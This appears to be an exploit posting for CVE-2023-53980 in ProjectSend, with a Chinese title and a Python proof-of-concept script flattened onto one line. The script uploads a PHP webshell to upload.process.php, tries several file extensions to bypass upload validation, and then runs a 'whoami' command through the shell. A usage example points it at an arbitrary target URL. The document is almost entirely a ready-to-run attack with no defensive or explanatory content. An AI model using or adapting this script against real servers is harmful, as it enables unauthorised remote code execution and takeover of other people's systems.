CVE-2023-53980 ProjectSend 远程代码执行漏洞

import requests import sys # CVE-2023-53980 PoC - ProjectSend RCE via File Extension Manipulation # Target: ProjectSend r1605 and earlier versions def exploit(target_url, file_path, filename): """ Exploit for ProjectSend remote code execution via file upload Args: target_url: Base URL of the vulnerable ProjectSend instance file_path: Path to the PHP webshell to upload filename: Filename to use for upload (try .phtml or double extension) """ upload_url = f"{target_url}/upload.process.php" # Try different file extensions to bypass validation extensions = ['.php', '.phtml', '.php5', '.php3', '.php.jpg', '.shell.php.jpg'] for ext in extensions: try: files = { 'file': (filename + ext, open(file_path, 'rb'), 'application/x-php') } data = { 'MAX_FILE_SIZE': '1048576', 'Filename': filename + ext } response = requests.post(upload_url, files=files, data=data, timeout=10) # Check if upload was successful if response.status_code == 200: uploaded_path = f"{target_url}/uploads/files/{filename}{ext}" print(f"[+] File uploaded successfully: {uploaded_path}") # Execute command via webshell cmd_url = f"{uploaded_path}?cmd=whoami" exec_response = requests.get(cmd_url, timeout=10) if exec_response.status_code == 200: print(f"[+] RCE Successful! Output: {exec_response.text}") return True except Exception as e: print(f"[-] Error with extension {ext}: {str(e)}") continue return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2023-53980.py <target_url> <webshell_path> ") print("Example: python cve-2023-53980.py http://target.com /tmp/shell.php malicious") sys.exit(1) target = sys.argv[1] shell_path = sys.argv[2] filename = sys.argv[3] exploit(target, shell_path, filename)